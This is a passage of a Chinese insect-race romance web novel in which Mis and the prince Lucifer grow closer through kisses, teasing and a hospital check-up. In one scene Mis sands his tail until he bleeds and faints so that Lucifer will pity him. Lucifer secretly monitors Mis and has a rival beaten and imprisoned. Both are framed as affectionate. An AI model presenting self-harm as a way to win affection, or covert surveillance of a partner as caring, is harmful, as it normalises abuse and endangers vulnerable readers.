亲吻可不是咬嘴巴,只有虫崽子才会咬嘴巴。 路西法已经被刺激得不知天地为何物了,听到雄虫的声音,第一反应是确认雄虫的位置。 “弥斯,我……” “学会了吗?”弥斯低声问他。 路西法还沉浸在亲吻的余温中,脑子根本无法思考。 看着蠢死了,弥斯在心里批评这只一味地享受,不好好学习的坏学生。 “坏学生!” 弥斯在坏学生的鼻尖上咬了一口,轻轻的没有用力,“回去睡觉吧。” 路西法茫然地抬头,“今天不治疗了吗?” 治疗?路西法现在的情况哪里还能接受治疗。 “你现在精神海状态好很多了,以后……” 不用天天治疗了,可以进入第二阶段,隔天治疗。可话都没来得及说出口,眼前这虫的眼泪不值钱似的往下掉。 弥斯有些惊奇,雌虫身上到底还有多少未曾开发的惊喜。 “怎么了这是?”他伸手抹去了雌虫眼角的泪水,“哭什么?” “你是不是生气了,因为我强迫你。” 路西法听到雄虫那样说,脑子里第一时间想到的就是,雄虫不愿意给他治疗了。 怎么办,确实是他做错了事情,星网上好像说过,可以装可怜的,现在受伤还来得及吗? 怎么这么可爱啊,路西法。 该怎么形容现在的情况,一只黑皮壮汉S级军雌,可怜巴巴地看着他,明明被他亲得脑子都不清楚了,还觉得是他吃了亏。 “对啊,我生气了。” “怎么办啊,路西法,你快走吧。” 路西法哭得更厉害了,金色的眼睛也开始发红。 弥斯非但不心疼雌虫,还觉得好玩,伸手抬起雌虫的下巴,认认真真地看着他落泪。 路西法轻轻抓住他的手,也不敢用力,只轻声地恳求他,“可以不走吗?” “可以啊。” 弥斯本就是故意逗他,不会让他真的伤心,情趣这种东西点到为止就好。 “好了,躺床上去吧,我给你治疗。” 弥斯探出尾勾,尾尖还有点发红,不过没关系,不影响使用。 他是想快一点的,毕竟尾勾还没洗干净,脏。 正欲扎进雌虫心口,就听到路西法委屈巴巴的说:“弥斯,可以不扎心口吗?疼。” 弥斯定神看过去,这虫立马心虚地移过视线,根本不敢和他对视。 装的,路西法是装的,而且还装得极其不自然。 弥斯还以为雌虫在情之一事上是一朵单纯小白花,没想到他是纯正的不能再纯正的心机大黄花。 但这能怪路西法吗,他觉得不能怪他。 雄虫心太软了,这让他觉得好像不管自己做什么都能被容忍。 路西法又不傻,趁机给自己求点福利什么的,个中滋味只有他知道有多美妙。 雌虫嘴里没几句正经话。 弥斯盯了他几分钟,可能是因为没有得到回应,雌虫肉眼可见的低落了。 应该没有比他更惨的雄虫了,先是被强吻,然后又被得寸进尺,现在又因为没有及时给雌虫反馈,这只心机虫还有点难过。 所以他还要哄虫,不像话。 “好。” 弥斯听到自己这样说,他是想拒绝的,但嘴巴叛变了。 路西法生怕雄虫后悔,三两下就把自己脱了个干净, “不用脱衣服……” 然后又巴巴的盯着他。 “算了,”这弥斯还能说什么,只能任劳任怨地工作,“张嘴。” 弥斯向来是不太喜欢从口中灌溉信息素的,可另一处就太亲密了,他们还没结婚,不好这样做。 雌虫乖乖张嘴,视线死死缠着那条银白色的尾勾,好像他不是在给雌虫治病,而是羊入虎口。 尾勾的动作慢了,他有些犹豫,总觉得这一去就很难再干干净净的回来。 它试探性地点在雌虫的嘴唇上,没有动静,放心了两分,慢慢探进去,正准备输入信息素。 果然,路西法闭嘴了。 尾勾被雌虫含住了,他就知道会这样! 弥斯只能低声哄他,“路西法,张嘴。”等他解救了自己的尾勾,再要雌虫好看。 路西法太兴奋了,他现在什么也听不进去。 嘴巴里含着异物的感觉并不好,尤其是尾勾上面细碎的鳞甲,划过口腔内壁是难免会受伤,但这是弥斯的尾勾。 路西法这样一想,又吞得深了一点,舌尖贪婪地刮过鳞甲,描绘着尾勾的形状。 弥斯的眼神愈发幽深,他应该训斥路西法的,至少也要给他一些教训。 可看着他痴迷的模样,最终还是狠不下心—— 作者有话说:补一下29章的聊天记录[狗头][狗头][狗头] AAA??????:【堆积的文件】今天的工作有点多,中午赶不及回去给你做饭了,你是想自己做还是我给你点星际快送 AAA??????:我给你点吧,还是不要自己做饭了,先委屈吃点,晚上补偿你 AAA??????:【小猫玩偶】帝国最近特别流行这个限量款毛绒绒,感觉你可能会喜欢,就买了一个,晚上回家送给你 AAA??????:小弥斯,怎么不理虫啊? AAA??????:不要在房间里玩了,已经快12点了,该出门吃饭喽 AAA??????:在忙什么呀 AAA??????:真不理虫啊,那好吧,我要生气喽 AAA??????:星际快送我取消了,【飞行器】,准备回家了,我倒是要看看小弥斯在家里做什么呢 \第35章 第 35 章 他这么可怜,路西法肯定…… “过瘾了?” 看着路西法那没出息的模样, 弥斯简直是气不打一处来,傻乐什么呢,蠢死了。 路西法现在已经确信雄虫根本没有生气,而且, 他的直觉告诉他, 他甚至可以要求更多一点。 “弥斯, 你毁了我的清白,要对我负责的。” 这只雌虫也是懂气虫的。 可要是他现在和雌虫争论这件事, 最后肯定还是他自己理亏。 帝国的十二皇子殿下连亲亲都不会, 纯情的不像话,今天发生的事情对他来说确实太刺激了, 弥斯心里确实觉得占了他一些便宜。 再加上, 他确实心怀不轨, 自然不会顺着雌虫说。 “不和你一般见识, 我要睡觉了!” 路西法有一点点想继续得寸进尺, 又怕雄虫翻脸不认虫, 弥斯又不是没干过这种事。 衡量再三, 他还是先去忙正事。 “好吧,谁让我最喜欢弥斯阁下,那我就吃点亏吧。” “但下次,你真的要对我负责了。” 弥斯没想到会这么顺利, 他还以为雌虫会再胡搅蛮缠一段时间呢, 挺好的, 他也要去洗一洗尾勾了。 他去雕刻室拿了一块新的粗砂纸, 很干净,伸出尾勾,把尾尖打磨干净。 雄虫的尾勾是非常脆弱的, 他又怕疼,可只有这样,才能在似藏非藏下被路西法发现,然后心疼。 这样,万一他真的不能生蛋,雌虫也不会抛弃他。 浴缸中的水渐渐被染成了淡红色,信息素真是个好东西,哪怕是流血了,都非常的香甜。 直到他痛得失了力气,再不能拿住那块砂纸,弥斯才嫌弃地丢掉它。 草草冲洗了一番,打开通风,刷干净浴缸,他才把自己挪到床上…… 好痛啊,路西法。 夜色渐深,被磋磨过的尾勾已经收不回去,弥斯甚至懒得给它抹药,要不是这东西还有用,真不如切掉算了。 就是不知道雄虫的尾勾被切掉之后,会死吗?挺有意思的。 柔软的床上,尾勾孤零零地挂在床边,床上鼓鼓囊囊的一团逐渐没了动静,只听得到微不可闻的呼吸,雄虫已经疼晕过去了。 菲里安真是点背,先是飞行器不知道抽什么神经,导航到了偏僻的城郊,然后又碰上了一些亡命之徒死缠烂打的。 等他回到家,必须把这件事情查的一清二楚,到底是哪只卑鄙小虫在坑害他。 手段真是卑鄙,以多欺少算什么本事。 菲里安到底是久经沙场的S级中将,这些小喽喽虫还对他造不成什么威胁,就是麻烦。 虫子太多了,又趁着月色,哪怕S级军雌的夜视能力再好,也总有防不住的时候,前前后后已经缠斗了两个多小时,菲里安身上现在大大小小的枪伤数不胜数。 这些虫明显是为了取他性命,每只虫下手都十分阴狠,看不出什么路子。 菲里安竭尽全力也只能勉强避开致命伤,该死,这些臭虫到底是谁派来的。 风声骤紧,有几架飞行器过来了,他紧紧抓住手中的光能枪,来虫究竟是敌是友,他无法判断。 逆光之下,张扬的红色长发和皇族标志性的金眸,菲里安只花了数秒就知道了来虫的身份,“路西法殿下!” 得救了,屮,这群臭虫,等他把这些杂虫抓进军事监狱,肯定要安排虫好好关照他们。 “这群虫看不出身份,我猜测是流窜进来的星盗,我已经和他们周旋许久,但确实寡不敌众,还望殿下能出手帮忙。” 沉浸在得救的喜悦中的菲里安完全没有注意到,那些敌虫已经全部收手,就算注意到了他也不会放在心上。 赫克斯的虫大多都会忌惮路西法殿下,不论是军雌还是星盗。 在一场场叫得上名字的星际战争中,路西法几乎直接和杀戮二字等同,速度快,下手狠,行事准则就是斩草除根、不留活口。 某种意义上,路西法殿下和莱昂纳元帅就是守卫帝星的杀神。 当然了,路西法殿下对自己虫也没什么好脸色,但只要不得罪他,出门在外看到殿下总归还是安心的。 鲁里希家族已经和路西法殿下搭上线了,以一颗A级矿星的诚意,站队桑因殿下,所以他们现在和路西法殿下是同一阵营的虫。 更加具体的合作细节,菲里安无从知晓,一切都听从主虫的调遣。 路西法因为雄虫的亲吻,这会儿心情很好,不想和这只虫过多言语,他手指轻轻敲了一下腰间。 亚蒂斯飞身而上,两只S级军雌的较量,胜负只在刹那。 菲里安本就受了伤,整只虫被捶进地里,一口鲜血喷出,气若游丝,“殿下?” “鲁里希已经为您献上了忠诚。” “你今日所为,实在是令鲁里希的虫寒心,你就不怕被虫传出去,让帝国的诸位寒心吗?” 路西法看都没看他,这种渣滓,他连出手的欲望都没有。 “菲里安中将,你不会真以为仅凭一颗A级矿星就能获得殿下的照拂吧。” 亚蒂斯双手环胸,趾高气昂地踢了踢脚边的一滩虫,还是精神镣铐好用,瞧瞧,S级的军雌也不过如此。 “你,尊贵无比的菲里安中将,才是鲁里希家族送上来的祭品。” “你们都打这么久了,怎么,还没看出是你们自己家的虫吗?蠢货!” “哦,当然了,我们殿下向来师出有名,放心,不会冤枉了你。” “毕竟,鲁里希为了展现自己的诚意,可是将你那地下室里的几只B级雄虫‘救’了出来。” “雄保会的虫会好好关照你的。” 菲里安恨得目眦尽裂,他无法接受家族的背叛,也不知道他到底哪里得罪了殿下。 “路西法殿下,我究竟做错了什么。” 路西法自然不会理他,这只虫怎么废话这么多,都有点影响他和鲁里希的虫谈生意了。 还是亚蒂斯好心,他又踹了几脚,“当然是因为你趁殿下出征,骚扰他雄主,啧啧,哪只虫可以忍受这样的事情。” “放心吧,军事监狱里有虫会好好‘关照’你的。” “带走!”亚蒂斯摆摆手,身后的虫立刻把犯虫押解上飞行器,“对了,不许虫给他治疗,告诉雄保会,这是殿下的意思。” 这个吩咐其中隐藏的含义可不止不许治疗简单,监狱的虫只要不蠢,自然明白殿下的意思。 路西法这边也把事情谈妥了,目的达成,他转身就走。 一直和雄虫温存,他还没来得及听宴会上发生了什么,还要赶紧回家才行。 鲁里希的虫不但要处理自家的S级中将,还要“自愿”赔偿雄虫精神损失费,帝星的一套房还有几颗B级矿星,他们这次真是损失惨重。 好在总算是送走了这尊煞神,菲里安的事情也可以告一段落,之后有皇子殿下的关照,别的家族里的虫应该也不敢对他们动手。 也算是弃车保帅了。 当然,此时的路西法确实没打算对鲁里希赶尽杀绝,但是回去之后,他就改变了主意。 没有一丝犹豫,他就告知蒂安,可以动手。 …… 清晨,天还暗着, 小六:【宿主,起床了】 根据宿主昨晚的指示,它要在早上5点钟把他叫醒。 弥斯被脑海里的闹钟吵得烦心,勉强回复它,【六六,我醒了,把闹钟关了】 雄虫掀起被子盖住脑袋缓了三分钟,好烦,尾勾为什么不能自己好。 弥斯对自己下手从来不会心软,但是他现在和路西法住在一起,稍微有点不适肯定特别明显。 他像以前一样晕过去之前,还想着早起给尾勾处理一下。 至少要把它收回去才行,不然太刻意了,反而失去了它该发挥得作用。 弥斯慢慢睁开眼睛,他还没有点懵,缓一缓,反正他有一个小时的时间来处理尾勾。 “醒了?”这道声音冷得可以冻结空气了,突然在他身边响起,弥斯吓了一跳。 慌乱中带着点心虚,他匆匆忙忙地把自己藏进被子里,不愿意面对这个糟糕的早晨。 怎么回事,路西法怎么在他房间里,不会发现他干的好事了吧。 雄虫在黑暗中抖了几下,平日里雌虫就十分在意他的身体,不敢想,路西法会有多生气。 雌虫不会心一狠就揍他吧,里不都是这样写得吗,先把屁股打肿,然后再哄一哄。 不会吧,不会吧,弥斯可没有受虐倾向,要是路西法敢这么做,他真的会生气的。 太伤自尊了。 “先出来,被子里闷。” 路西法也是没办法了,坐在床边看了雄虫一晚上,还是不明白他为什么对自己那么狠。 银白色的尾勾平日里确实挺厉害,穿膛破肚的,但雄虫这么脆弱的生物,尾勾自然特别容易受伤。 平日里,雄虫都不会把它露出来也是因着这个原因。 可这虫呢,竟然能下这么狠的手,他进来的时候看着尾尖还渗着血,雄虫已经疼晕了,还发着高烧。 路西法慌慌张张地帮他处理伤口,进浴室换毛巾的时候,看到垃圾桶里的粗砂纸更是心疼。 一晚上的,他连眼睛都没敢闭上,生怕雄虫清醒的时候没有虫陪着他。 这小没良心的,真该好好教训。 弥斯小心翼翼地从被子里探出脑袋,心虚地问:“你都知道了?” “我很难不知道,你都晕过去了。” 雌虫的脸太黑了,看起来特别吓虫,弥斯觉得他应该老实一点。 这份心虚只持续了十几秒,他就发现了不对劲。 “你怎么进我房间啊,我同意了吗?” 弥斯觉得他抓到了雌虫的把柄,这下也不心虚了,坐起身指指点点。 “知不知道雌雄有别啊,怎么能闯进别虫的房间,说吧,偷偷跑到我房间里干什么了?” 路西法本来还能勉强控制住怒火,现在看雄虫不知悔改的模样,彻底不控制了。 雌虫站起身,接近一米九的身高站起来和一座山一样,太有压迫力了。 弥斯又想缩回去的,他其实是假凶,不想雌虫追问他而已,只不过一得瑟就有点上头了,可不是存心挑衅的。 这下完了。 “路西法,淡定,我错了,我不问了。” 路西法没心情和雄虫讨论这些,他弯下身,穿过雄虫的腿弯把虫抱了起来。 “既然醒了就起来吃饭,然后带你去医院做检查。” 确定身体没事之后,他再好好“问问”弥斯,这样的事他到底做过多少次了。 昨晚之前,路西法开开心心地点开监听,没想到雄虫又是呕吐又是伤害自己,他能忍住没有今天就把雄虫关起来,已经是自制力强大了。 路西法总归是不想吓到弥斯。 “哦。” 就这啊,真没意思,路西法都没脾气的吗,但不可否认,雌虫的不追问让他松了一口气。 弥斯不知道该怎么解释,他怕路西法觉得他心里有病,但他真没病。 不过洗尾勾这件事被发现确实也在他的计划之内,瞧瞧,路西法现在因为心疼,都没有问他能不能生蛋的事情。 想必,要是不能生,雌虫应该也不会抛弃他吧。 弥斯挪了挪屁股,让自己在雌虫怀里的姿势舒服一点。 他这么可怜,路西法肯定心疼坏了。 第36章 第 36 章 他不会变成无能的丈夫吧…… 吃完饭, 弥斯伸出尾勾摸了摸,咦,一点儿伤口都没了,怎么好这么快。 早上起来的时候被吓到了, 竟然都没察觉到尾勾一点儿都不疼了。 “路西法, 你这是给我抹了什么呀, 怎么恢复得这么快?” 他开开心心的问,但铁石心肠的路西法根本不理他, 阴沉着脸, 好像有虫欠他百八十万。 弥斯戳了戳雌虫的胸肌,梆梆硬, 看来真的还在生气。 气性太大了, 一直生闷气对身体不好的。 “不理我?”他继续戳, 主打一个叛逆。 路西法确实生闷气, 雄虫不爱护自己的身体, 他只要稍微没看住, 就发生了这样的事, 今天还只是疼晕了,那明天呢,后天呢。 弥斯没有哄虫的经验,只能干巴巴的承诺, “我下次肯定不会这样了。” “还有下次?”路西法把手里的碗放在旁边, 转过身面对雄虫, “没有下次了。” “好吧, 没有下次,不要生气了,好不好?” 弥斯有些不好意思, 他用脑袋拱了拱雌虫,“都怪那只军雌,是他先招惹我的。” 可恶,竟然使出了魅惑,路西法在心中数了十秒,擦干净的手就放在了雄虫的脑袋上揉了几下。 然后又收敛起脸上的愉悦,重新回到严肃的表情,正经的不能再正经地说:“他不会再出现在你面前了。” 这么肯定,弥斯挑了一下眉,路西法这是不知道他有多倒霉,说不准哪天出门就碰到了。 “哦。” 听出了雄虫的敷衍,路西法有些无奈,“菲里安被雄保会抓起来了,你以后真的再也见不到他了。” “嗯?” 弥斯瞪大了眼睛,抬头看向雌虫,显然对这件事十分感兴趣。“怎么回事啊?” “他不是贵族虫吗?” “这么随便就被抓进去了?” 两只虫现在的距离太近了一些,路西法呼吸都有点困难,太刺激了,又是大早上的,万一擦枪走火,雄虫又会说他不正经。 路西法把雄虫推开了一点,知道他好奇,自然会满足他,“菲里安在低等星抓了几只雄虫关在了地下室,雄保会自然不会放过他。” 赫克斯竟然还有这种事,但弥斯更好奇的是,这中间真的没有路西法的手笔吗? 那可是一只老牌贵族的S级军雌,阴险狡诈、无恶不作,怎么这么轻易地就被发现了。 “雄保会怎么发现的?” 他自己就是从垃圾星过来的,最是知道在帝星要是想把一只平民雄虫藏起来,真是太简单了。 “鲁里希家族的虫自己举报的,”雄虫又凑了过来,路西法悄悄往后退了一步。 “举报?”他们不是一丘之貉吗,怎么还能干出这么大义灭亲的事情。 弥斯更好奇了,“是不是你威胁他们,路西法?”这还是他第一次问得这么直白。 “谈不上威胁,都是一些友好的劝诫,身为帝国的皇子,自然要对每一只虫民负责,都是我应该做得。” 太近了,“鲁里希的主虫因为菲里安的算计,对你心中有愧,又转了几颗B级矿星在你账户里,记得查收。” 弥斯敏锐的察觉到了些许不对,也不算敏锐,路西法做得太明显了,他这都要退到窗户上了。 怎么,现在想和他保持距离了? 雄虫黑得发亮的眸子眯了起来,透出一丝危险的光芒,他步步紧逼,路西法一退再退。 直到雌虫身体被台面抵住,退无可退。 “路西法,你在躲我。” “为什么?” 哪怕是弥斯先做出了让雌虫生气的事情,他也不允许这只虫躲着他。 他是病毒吗,生怕被他碰到了。 雄虫看起来生气了,真刺激,但是现在还是先解释一下他这样做得原因,不然他就真的被雄虫钉在了“最好的朋友”上。 路西法没有说话,抓住雄虫的手,往下按了按,“我控制不住自己。” 弥斯的脸一下子就烧红了,整只虫看起来都要着了。 现在轮到弥斯连连后退了,他的手已经不干净了。 “你、你、你,你怎么能这样!” 变态,他差点忘了路西法是只变态虫了! 路西法倒不觉得的羞耻,每只虫都会有欲望,要不是弥斯太内敛了,他们现在应该在py,而不是在聊一些完全不相干的事情。 “弥斯,这是很正常的事情,每只虫都会这样。” “但我们什么都没做啊!” 弥斯当然知道这很正常,也知道早上容易兴奋,但是那是还躺在床上的时候啊,他们甚至已经吃完早饭了,四舍五入已经中午了。 而且,他们就正常聊天啊,路西法怎么能…… 啊啊啊,路西法还把他的手摁在那上面,太过分了。 弥斯现在甚至不敢动他的手,总觉得那处的温度还在他的手上,怎么会有这么直白的虫啊。 “所以我才离你远点啊,刚刚我们太近了,你的呼吸就打在我的胸口,我受到刺激有反应,不是很正常吗?” 路西法表现的太从容了,以至于弥斯都有一瞬间的自我怀疑,是不是他太大惊小怪了。 毕竟这是虫族,他早就不是人了,虫族好像在面对欲望时,确实十分的坦率。 但不管在哪里,路西法也太坦率了吧,都抓着他的手放在那位置上,怎么说都不太正常吧。 “而且,我发情期快到了,本来就容易兴奋。” “弥斯,你真是一点儿也不关心我,就没发现我最近不太一样吗?” 路西法刚刚还避之不及的模样,现在看雄虫相信了他的鬼话,瞬间就反客为主。 果然,听到他的谴责,弥斯立刻就开始心虚,“那个,我不是不关心你啦。” “我又不是雌虫,肯定不太了解发情期的事情嘛。” 路西法直接打断了他,“但我很了解你,弥斯。因为我喜欢你,所以,你所有的事情我都想要了解。” 路西法一记直球给他打得不知所措,他们不是还在暧昧期吗,雌虫现在挑出来,那他怎么回应啊。 路西法真是太坏了。 雌虫话锋一转,“我知道小弥斯现在还不喜欢我,只是把我当作最好的朋友,我不怪你。” “但,弥斯,我在追求你,你可以让我做任何事情。” “在我这里,你不需要付出任何代价,下次不要再伤害自己了。” 雌虫在这种时候倒是精明,弥斯努努嘴,他才不会被雌虫的糖衣炮弹所迷惑。 他们都说得好听,如果他真的信了,就会立刻抛弃他。 路西法一直都不是蠢虫,他十分了解弥斯。 昨晚的事情,他只要稍微想一下就知道,雄虫是想让他帮忙教训菲里安亦或者对付巴尔福。 所以才默许了他的得寸进尺,才会伤害自己。 弥斯总是这样不珍重自己。 路西法觉得这样不好,可雄虫一直在逃避,他不想把虫逼得太紧,更小心一点就好了。 如果不是他没安排好就离开了,那些虫根本不敢靠近弥斯,自然也不会发生后面的事情。 “你先去收拾一下,我们再聊这些。” 他们现在的关系确实已经和“朋友”两个字没有任何关系了,路西法动不动就抱他,公主抱、婴儿抱、整只端起来…… 五花八门的,太暧昧了。 但是要说直接结婚,弥斯又觉得有些太快了,而且他还有很多事情没处理好。 还是想办法先把事情解决了吧,不能让巴尔福一直悬在他头上,片刻不得安宁。 而且,他对路西法的感情太不纯粹了,一点点的真心中还夹杂着算计和利用,现在还不敢坦诚。 等路西法收拾好,又从流氓虫摇身一变,成为尊贵的皇子殿下。 果然,虫靠衣装马靠鞍。 穿着松松垮垮的内衣套一个围裙的雌虫看着就放d,但是穿着正装的路西法就让他眼前一亮又一亮。 路西法的身材简直是他的虫生理想,太硬派了,如果雌虫不会说话就好了。 “弥斯阁下,收一收你的视线,我可不想再回去换一身衣服。” 弥斯恨不得捂上耳朵,路西法已经完全放飞自我了,真是连装都懒得装一下,脑子里就那点黄黄的事情。 这次去医院里检查,路西法也是开窍了,不但做了全身体检,信息素和尾勾也不能落下。 要不是弥斯羞得都开始咬虫了,他是想帮雄虫释放一下,连带着精华也送去检查一下的。 “我拒绝。” 弥斯紧紧抓住门把手,他才不要在这种地方被雌虫酱酱亮亮,太羞耻了。 “有信息素就够了呀,路西法!” 路西法显然还没放弃,他一根一根地掰开雄虫的手指,“都是正规检查,不要害羞。” “松手,我咬你了,放开我。” “达利锡医虫,快帮帮我。” 弥斯想转头向医虫寻求帮助,可雌虫的心眼那么小,根本不可能让他有机会看到别的雌虫。 达利锡爱莫能助,他也只是一只勤勤恳恳、兢兢业业的打工虫,才不会参与进去。 “这样,这样,”他的大脑继续运转,“路西法,你先松手,要是、要是信息素都查不出问题,我就做这个检查,好不好?” “商量一下吗,不要那么极端,拜托拜托。” 弥斯放弃了挣扎,双手合十,眼巴巴地瞅着他。 难得这么听话,可惜目的是为了逃避检查,路西法没觉得做这种检查丢虫,不理解雄虫为什么这么抗拒。 可他对着雄虫总是强硬不起来,“那好吧。” 达利锡也松了一口气,万一殿下冲动,当众“虐待”S级雄虫,肯定会上星网的。 “那我就去检查了。” 医虫离开之后,弥斯总算松了一口气,整只虫像面条一样往下滑。 路西法把虫揽在怀里,“为什么这么抗拒,这只是个检查。” “那你非要在旁边看着,还要伸手帮我,都怪你!” 太丢虫了,弥斯埋胸,他刚刚竟然在医虫面前像只虫崽子一样胡闹。 气不过的弥斯,一口咬在了雌虫喉结上,稍微用了点力气,感觉差不多了才松开。 路西法微微仰头,任由雄虫动作,又在勾引他,早晚把雄虫办了。 弥斯有些忐忑地坐在椅子上等待,科技发达就是不好啊,检查报告出得飞快,完全不给他应对的时间。 万一他真的不能生蛋,那也太……丢虫了吧。 他不会变成无能的丈夫吧。 \第37章 第 37 章 可我以前都好了呀 检查结果出来了, 达利锡医虫的神情十分复杂,他怎么都不敢相信,怎么会有这种事呢,绕是他这么多年的经验也是第一次碰见。 “阁下这是……觉醒失败了吗?” 他自己都问得心虚, 毕竟雄虫觉醒失败不是等级大幅度下降就是直接死亡, 哪有说像弥斯这样的。 路西法闻言立刻就拧起眉头, “达利锡,我看你是没睡醒, 弥斯觉醒之后, 从A级到S级,怎么可能会觉醒失败呢?” 经常杀虫的朋友们都知道, 平日里嬉皮笑脸的时候还能藏得住, 一旦真冷下脸, 身上的戾气是怎么藏都藏不住的。 弥斯被吓得一哆嗦, 气得他啪一巴掌就拍在了雌虫的胸肌上, “怎么和医虫说话呢?” 然后转头就和医虫道歉, “不好意思, 他就是有些担心我。” 达利锡看到雄虫阁下的动作,心脏都要跳出来了,他是知道殿下有了在意的雄虫,但没想到这只雄虫竟然如此放肆, 一点儿都不怕殿下的吗? 达利锡看向雄虫的目光带上了几分敬意, 果然不是一般虫啊。 “报告上显示, 阁□□内的信息素十分紊乱, 一般来说,确实只有觉醒失败的雄虫才会出现这种问题。” 路西法已经有些暴躁了,说这些有的没的有什么用, “能不能治疗?” 弥斯拽住雌虫的衣袖,生怕他医闹,怎么在家里还好好的,出门在外这么不淡定呢。 “悬。” 弥斯不由得抬头看了一眼,这虫还真是厉害,连六六都说没得治,他这里竟然还有余地。 006诊断的时候,宿主和路西法殿下还不认识。 当时宿主的身体状况可以说破烂不堪,身边又没有什么虫照顾他,全靠宿主自己硬抗。 活着就是奇迹了,更别说完全康复了,系统根据当时的情况给出的痊愈可能性是0.001%。 “那就麻烦医虫了。” 达利锡连连摆手,“我不麻烦,殿下肯定是要多麻烦麻烦了。” “我不怕麻烦。” 路西法接过他手里的检测报告,脸色越来越难看,后面黑得感觉能滴出墨来。 搞得弥斯都有点好奇了,也凑过去瞧了瞧,乱七八糟的字和一堆看不懂的专业术语,完全看不懂。 他有些狐疑地看着雌虫,“你真看懂了吗?” 路西法点点头,继续询问达利锡,“这么严重吗?弥斯还特别怕痛,这份报告里为什么没有?” “怕痛?”达利锡皱眉,殿下既然是现在说得,想必不是一般的怕痛。 “那估计是信息素紊乱造成的,你们军雌精神海暴动的时候,不也是出现各种各样的问题吗?” “信息素稳定了之后,要是还有这些症状,那就再重新治疗吧,现在最要紧的还是信息素的问题。” 这是有道理的,路西法虽然担心,还是勉强能接受这个说法的。 “一定要这么久吗?弥斯的身体可以坚持吗?我能帮他吗?” “坚持什么?” 弥斯伸出手在雌虫后腰处给他来了一拳,“不相信我?” 达利锡摇摇头,“殿下,信息素紊乱最重要的还是要阁下主动配合治疗,不然吃再多药也是没有用的。” “再说了,你能帮忙做什么?还不如放松躺好,方便雄虫行动呢。” 弥斯震惊,这是正经的治疗吗?那单子上花里胡哨的字到底写得是什么。 果然,不管是蓝星还是赫克斯,医生的字都写得看不懂。 医虫把手下压着的最后一张单子掏出来递给他,“殿下,这是阁下需要吃的药,剂量我都已经给你详细的备注了,配合着疗程一起吃。” 路西法看了一眼,“需要吃这么多药?” 赫克斯的医疗水平发展至今,可以说已经达到了医白骨的程度,药物也逐渐被淘汰,这还是他第一次见到这么多味药。 “你们这些糙虫子自然随便搞点治疗液就能好,但雄虫阁下那么娇贵,信息素又在体内,怎么能乱喝。” “药性太强,雄虫的身体也承受不了。” 达利锡还谴责地斜了殿下几眼,马上有雄主的虫了,怎么还这么粗鲁,“阁下是很金贵的,你要多多上心,雄虫和你这只死不了的军雌可不一样。” 路西法没有在意达利锡说得话,他还是有些担忧,“是药三分毒,吃这么多药,真的好吗?” “当然不好,所以你平日里要注重雄虫的作息和饮食,让阁下保持心情舒畅,没事不要惹他生气,……” 听到这两只虫的讨论,弥斯头都麻了,平时路西法就管他管得严,这下又有了正当理由,他还能呼吸到自由的空气吗? 回家的路上,路西法一直耷拉着脸,周身气压特别低。 弥斯心虚地摸摸鼻子,“那个……路西法,其实不治疗也没什么的,我都习惯了。” 路西法垂眸,没有看雄虫,怎么自己生病了,还安慰他呢,这么乖。 “不疼吗?”他心疼地问,“觉醒之后就一直这样吗?” 弥斯有些不习惯别虫关心他,现在都已经好得差不多了。 “害!” “其实也还好了,平时不受伤的时候不疼的。” “我有好好照顾自己的,就算一不小心受了伤,也会给自己涂药的,不会痛很久的。” 路西法不说话了,怎么可能不疼,报告上都写了,雄虫的痛觉神经是正常雄虫的十倍有余,他都无法想象,弥斯这么脆弱的雄虫平时受伤是多么难熬。 尤其是,面对一只半虫化的S级军雌时。 幸好,只有那么一次。 菲里安还是过得太舒服了,金眸中透出一丝阴毒,总要让他尝尝雄虫受到的痛楚才行。 弥斯碰了碰路西法的手臂,“你不会还在担心我吧,我真没事,现在都好很多了。” “我每天坚持锻炼,作息规律,也有在好好吃饭,身体已经好很多了。” “刚开始我那个身体的指标都没及格过呢,上周我们去检查的时候,不是都好了吗?” “说不定就算不治疗,过段时间这什么信息素紊乱自己就好了呢。” 路西法沉默了几分钟,不知道雄虫到底在哪里长大的,这么乖。 但一般来说,备受宠爱的雄虫应该像桑因那么骄纵才对,弥斯肯定受过不少苦。 想到着,他心情更糟糕了,闷声说:“弥斯,没有病会自己好的。” 一听这话,弥斯就不服气了,他虽然倒霉了一点,可生命力还是相当顽强的。 但当他通过前视镜看到很明显在愧疚的雌虫,又有些说不出反驳的话来了。 他这样又不是路西法造成的,路西法有什么好愧疚的。 最后,他小声嘟囔了两句,“可我以前都好了啊。” 路西法不知道在他们认识之前,雄虫到底经历了什么。 过去,他总是不愿意去调查这些事,不愿意去了解雄虫和那只虫是如何相处的。 他只知道,弥斯每周都会去给那虫送爱心午餐,经常会送那虫亲手雕刻的小玩意,会为了那只虫和别的虫保持距离,甚至为了那只虫在别虫哪里受委曲。 路西法有很多种手段去了解,雄虫是如何和另外一只虫相爱,如何在意那只虫。 但他没有调查。 他不敢,他会发疯的。但现在,或许他真的该去了解一下雄虫的过去。 弥斯适时出声,强硬地说:“不许你调查我!” 路西法没回应,雄虫这样说,无外乎是因为还放不下那只虫,不想他做出什么伤害那只虫的事情。 他一直都知道,如果不是那只虫和维克尔搅和在一起,雄虫根本不可能离婚。 弥斯一瞅雌虫那不沟通的态度就知道这虫不会听他的。 路西法简直是一头倔驴,他真的要放大招了。 但是现在不是最好的时机,雌虫还在驾驶飞行器呢,出门在外,安全第一。 他左等右等,外面的房子换了又换,总算是到家了。 弥斯装模作样地捂住膝盖,“路西法,路西法!” 路西法刚停好就听到雄虫的惊呼,吓了一跳,“怎么了?” “磕到了?”他赶紧蹲下,“乖,把手松开,我看看伤到哪了?” 弥斯眼疾手快,以迅雷不及掩耳之势,把雌虫摁在了座椅上。 “骗你的。” “现在,听我说。” 弥斯的表情十分严肃,雌虫不太配合,脸都转到一边去了,显然无论如何是不打算听话了。 他伸手把红色脑袋又转了回来,“你不是好奇我怎么把自己搞成这样的吗?” “我告诉你,你就不要自己查了。” 这件事情也经不住路西法的调查,而且,以他对雌虫的了解,这虫估计都不等查明白,就会冲动出手,那太危险了。 “说话!” 他戳了戳雌虫的嘴巴,怎么这会儿这么硬气,平日里哄他的时候不是很会说吗? “你先说,要是说得我满意,我就听你的。” 路西法没有把话说死,毕竟雄虫万一说一半藏一半的,他还是不放心。 “这个信息素紊乱吧,其实也没啥,就是当年我觉醒的时候,遇到了一点小意外,然后就这样了。” “你懂吧,就是觉醒的后遗症,不算严重。” 路西法挣扎了一下,他用得力气很小,现在雄虫在他心里比琉璃都要易碎。 “你可以松开我了。” 弥斯一脸惊喜,这么顺利,“你同意了?” “同意什么?你什么都不说,那我就自己调查。” “我不是说了,就是那个觉醒的时候出了问题。” “为什么会出问题,在哪出的问题,出了什么问题。” 